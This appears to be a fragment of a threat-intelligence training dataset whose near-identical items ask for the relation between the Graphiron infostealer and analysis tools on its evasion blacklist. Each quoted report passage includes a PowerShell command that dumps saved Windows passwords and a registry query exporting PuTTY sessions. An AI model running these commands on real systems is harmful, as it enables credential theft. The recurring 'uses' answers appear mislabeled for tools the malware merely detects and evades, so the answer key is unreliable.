+        "input": "### Source Entity:\nGraphiron\n### Target Entity: autoruns\n### Possible Relationship Labels:\n['downloads', 'drops', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGraphiron\n### Target Entity: dbgview\n### Possible Relationship Labels:\n['downloads', 'drops', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGraphiron\n### Target Entity: disassembly\n### Possible Relationship Labels:\n['downloads', 'drops', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGraphiron\n### Target Entity: dumpcap\n### Possible Relationship Labels:\n['downloads', 'drops', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGraphiron\n### Target Entity: filemon\n### Possible Relationship Labels:\n['downloads', 'drops', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGraphiron\n### Target Entity: httpdebugger\n### Possible Relationship Labels:\n['downloads', 'drops', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGraphiron\n### Target Entity: httpsMon\n### Possible Relationship Labels:\n['downloads', 'drops', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGraphiron\n### Target Entity: ida\n### Possible Relationship Labels:\n['downloads', 'drops', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGraphiron\n### Target Entity: idag\n### Possible Relationship Labels:\n['downloads', 'drops', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGraphiron\n### Target Entity: idag64\n### Possible Relationship Labels:\n['downloads', 'drops', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
